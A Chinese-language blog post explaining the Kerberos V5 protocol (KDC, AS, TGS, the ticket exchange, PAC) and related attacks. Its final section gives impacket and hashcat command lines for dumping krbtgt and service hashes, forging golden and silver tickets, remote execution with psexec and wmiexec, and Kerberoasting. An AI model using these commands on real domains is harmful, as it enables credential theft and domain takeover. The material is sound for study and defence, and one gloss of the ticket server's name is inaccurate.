Kerberos初识
前言
Kerberos
协议是在 1980 年代初由麻省理工学院(MIT)的 Athena 项目团队开发的,设计的初衷是为了提供一种强大的身份验证方法,支持网络上的分布式服务,通过无需网络传输密码的方式来验证客户端和服务器之间的身份,从而进行安全的通信。简单来说,kerberos
帮助了客户端和服务端解决了证明自身的问题,kerberos
的整个认证过程也是比较繁琐的,之前一直没有搓一篇文章随时进行巩固,因此特此写一篇文章来认识Kerberos
和分享。
Kerberos组成
目前Kerberos
达到了V5版本,Kerberos V5支持多种加密类型和更复杂的身份验证场景,通过增加了不少功能解决早期版本中的一些安全和实用性问题,比如添加了委派、预认证、跨域认证、可扩展的加密类型等。
当一个认证协议只有双方,是无法解决证明我确实是我
的问题,就好比甲乙双方线下交流会面,在两个人都没见到过的情况下,甲如何才能证明它就是甲,而乙如何才能证明它就是乙呢?当然现实中,这种问题已经无形被解决了,我们通过了第三方诸如手机、微信发送信息、电话等确认对方就是要会面的人。通过这种第三方的角色很好的解决了自证明
的问题,而Kerberos
也是如此,通过一个第三方角色的存在,对客户端与服务端的身份进行确认,保证了通信的安全性。
- 客户端:发送请求要访问服务的一方
- 服务端:接受请求并处理服务请求的一方
密钥分发中心(Key Distribution Center 简称
KDC
),分成了两部分:- 认证服务器(Authentication Server 简称AS):负责处理初始的登录请求和发放票据授权票(TGT)
- 票据服务器(Ticket Granting Ticket):用于发放客户端访问服务器所需的票据
Kerberos认证流程
kerberos
认证的前置条件:
kerberos
协议在生效前,会自带一个数据库,这个数据库由拥有者提前将整个系统的能够访问kerberos
的用户和对应能访问的服务权限等都加入到了数据库之中,也就是客户端的一些基本信息如(用户名、IP地址、网络服务等)- 当客户或服务被加入到
Kerberos
系统时,都会基于一个密码生成一把密钥。这个密码对于用户来说通常是他们的登录密码,对于服务来说,则可能是一个特别为该服务随机生成的密码。将这个密码作为密钥存储到了Kerberos
的数据库中。
这种前置条件解决了kerberos
如何判断请求的客户端就是真正的客户端,以及在网络传输中不带有密钥、密码等进行传输等的问题,以下就以客户端要访问服务端的网络服务时的情况细说整个认证的流程,整个流程分成三次通信,分别是客户端与AS
,客户端与TGS
,客户端与服务端
。
客户端与AS
客户端需要访问服务器的网络服务,需要向KDC
获取访问服务的票据。但是由于这是客户端第一次访问KDC
,因此KDC
需要验证客户端的身份,因此,第一次通信的内容是AS
与客户端进行通信,通信的过程如下:
- 客户端向
AS
以明文的形式发送请求,请求中包含用户名和服务名称以及一些其他身份验证信息到AS AS
接收请求后,为了验证这一请求,通过客户端提供的用户名查询kerberos
数据库获取该用户的密钥。如果数据库中没有该用户,则是认证失败,服务结束。如果存在该用户名,则认为该用户存在,不会认证是否可靠,返回相应信息给客户端,包含的内容如下:- 票据授权票(TGT):客户端需要使用
TGT
向TGS
获取访问网络服务所需的Ticket
,TGT
中包含了用户名
、客户端IP地址
,票据发放时间和过期时间
,会话密钥SessionKey
等。整个TGT
通过了TGS
的密钥进行了加密,客户端无法进行解密。 - 客户端与
TGS
通信的会话密钥(SessionKey),客户端访问的TGS
的名称和时间戳等,这部分内容由KDC
使用客户端的密钥进行加密,这部分密钥也已经提前存储在了数据库中,无需进行网络传输。
- 票据授权票(TGT):客户端需要使用
过程图如下:
客户端与TGS
当客户端接收到AS
的相应后,会获取主要的两部分内容,客户端通过自身的密钥(一般是密码)将会话密钥
、TGS
信息、时间戳这部分解密出来,根据时间戳判断消息的间隔性是否超过了容忍时间阈值(一般是几分钟),如果大于这个时间则认为该AS
是伪造的,会确认为认证失败,以此来防止防重放攻击。否则准备向TGS
发起请求。
向TGS
请求的最终结果和目的是获取到访问目标网络服务的Ticket
,这部分的通信内容如下:
- 客户端通过
SessionKey
加密自身的身份信息包括用户名、IP、时间戳等发送给TGS
。 - 客户端指定它希望访问的服务名称,将服务名称发送给
TGS
。 - 客户端将得到的
TGT
原封不动直接发送给TGS
。
TGS
操作如下:
TGS
收到了客户端的请求后,根据客户端要访问的服务从kerberos
中查看是否存在可以被客户端访问的服务,不存在则结束验证。TGS
使用自身的密钥对TGT
进行解密,得到AS
认证的客户端信息和时间戳、SessionKey
等信息,会进行时间戳的判断,是否超过时间阈值,如果超过则认证结束。TGS
通过SessionKey
对客户端发送的加密信息进行解密,取出客户端的个人信息和TGT
中得到的用户信息进行比对,一致则通过客户端身份的验证。客户端身份认证通过后,
TGS
返回响应给客户端,包含的内容如下:- 访问服务器对应网络服务的票据
Ticket
,里面包含了客户端的名称、IP、服务端IP、时间戳以及客户端与服务端通信的第二个SessionKey
等,这部分通过服务端的密码进行加密。 - 利用第一次客户端得到的
SessionKey
加密第二个SessionKey
、时间戳、服务票据Ticket
有效时间等。
- 访问服务器对应网络服务的票据
过程图如下:
客户端与服务端
客户端接受到TGS
的相应信息后,利用缓存的第一次SessionKey
解密返回的第二部分的内容,检查时间戳和有效时间无误后向服务端发起请求,发起请求的内容如下:
- 使用
第二次的SessionKey
将自己的用户信息和时间戳等加密发送给服务器 - 将
TGS
拿到的服务票据Ticket
原封不动的发送给服务端
服务端在接受到客户端的请求后,如下:
- 使用自身的密码解密拿到的服务票据
Ticket
,核对时间戳和有效时间无误后将第二次SessionKey
取出,对客户端发送的个人信息进行解密,获得客户端的信息,将客户端的信息与Ticket
中获取的用户信息进行比对,比对一致则确定是经过了KDC
认证的客户端。服务端则通过第二次的SessionKey
加密的请求响应信息给客户端。
客户端接收到请求之后,使用缓存的第二次SessionKey
对响应信息进行解密,至此完成了全部的通信内容。
过程图如下:
Kerberos相关攻击
密码喷射
在Kerberos
认证中,当密码出现错误与密码正确所产生的回显是不一致的,在客户端对AS
请求初步验证的时候,密码错误会返回ERR_PREAUTH_FAILED
,可以基于这个返回信息对用户的密码进行爆破。
黄金票据
从上面的请求我们可以清晰的知道,Kerberos
协议通信的关键在于KDC
,krbtgt
账户拥有着TGT
票据的密钥,如果能够获取到krbtgt
用户的hash
或账号密码的信息,就能够伪造TGT
票据,从而访问任何服务,一般当获取到域管的权限后,可以通过域管的权限获取krbtgt
用户的hash。
#通过secretsdump获取krbtgt hash
python secretsdump.py 域/username@ip -hashes 0:域管hash(NTLM) -dc-ip 域控IP -just-dc-user krbtgt
#获取域的SID
python lookupsid.py 域/username@ip -hashes 0:域管hash(NTLM)
#黄金票据
python ticketer.py -nthash krbtgt的hash -domain-sid 域sid -domain 域 域内用户
#使用黄金票据
export KRB5CCNAME=/Users/impacket-master/examples/test.ccache; #设置Kerberos票据缓存环境变量
python psexec.py 域/域内用户@域名 -k -no-pass -dc-ip 域控IP -debug
-debug:开启调试模式,这将在执行过程中打印更多的调试信息,帮助用户了解脚本的执行细节和可能的错误
-no-pass:这通常与-k一起使用,意味着身份验证完全依赖于Kerberos票据。
白银票据
如果能够拥有服务端的hash即密钥,则可以直接通过服务端的hash直接伪造TGS
,则可以不访问KDC
的情况下直接与目标服务器进行通信,使用的一些命令与上方impacket
使用的命令也是一致的。
如果开启了PAC
认证,则伪造的白银票据会失效,关于PAC
的作用如下:
在Kerberos认证过程中,当用户首次向身份验证服务器(AS)请求TGT时,域控制器会查找用户的权限信息,并将这些信息打包成PAC。随后,PAC被加密并嵌入到TGT中。当用户请求服务票据(Service Ticket)以访问特定服务时,TGT会被提交给票据授权服务器(TGS),TGS在生成服务票据的同时,会将PAC信息包含在内,然后发送给请求的服务。
PAC
包含的一些详细信息如下:
- 用户ID(SID)
- 用户所属的用户组信息
- 用户权限和角色
- 用户登录时间等其它安全相关信息
#通过secretsdump获取服务用户的hash
python secretsdump.py 域/username@ip -hashes 0:域管hash(NTLM) -dc-ip 域控IP -just-dc-user 用户名
#获取SID
python lookupsid.py 域/username@ip -hashes 0:服务用户hash(NTLM)
#白银票据
python ticketer.py -nthash 服务用户hash -domain-sid SID -domain 域名 -spn SPN 服务的主机名
#使用白银票据
export KRB5CCNAME=/Users/impacket-master/examples/test.ccache; #设置Kerberos票据缓存环境变量
python wmiexec.py 域/域内用户@域名 -k -no-pass -debug
kerberosting攻击
kerberosting
攻击就是通过暴力破解票据去获取明文密码的攻击,在攻击者获取到一个正常域用户的密码通过认证获取TGT
,使用获取到的TGT
针对指定的SPN
发送请求,TGS
在验证后会返回服务hash加密的Ticket
,尝试爆破Ticket
。
python GetUserSPNs.py 域名/账户名:密码 -request -dc-ip 域控IP #通过SPN查询域内服务用户
hashcat -m 18200 --force -a 0 hash password.txt
Kerberos总结
从以上的认证流程可以看到,三次通信分别使用了客户端密钥
、TGS密钥
、服务端密钥
三种不同种类的密钥,通过后两种密钥加密客户端的信息的形式,与客户端主动发送的信息进行比对确认客户端的身份,TGS
通过Server Ticket
指定服务端来向客户端确认服务端的正确性。而从攻击方式上面来看,要攻击Kerberos
伪造票据访问服务,条件是比较苛刻,整个Kerberos
认证的过程安全性的比较高的。
文章标题:Kerberos初识
文章链接:https://aiwin.fun/index.php/archives/4406/
最后编辑:2024 年 5 月 7 日 21:42 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)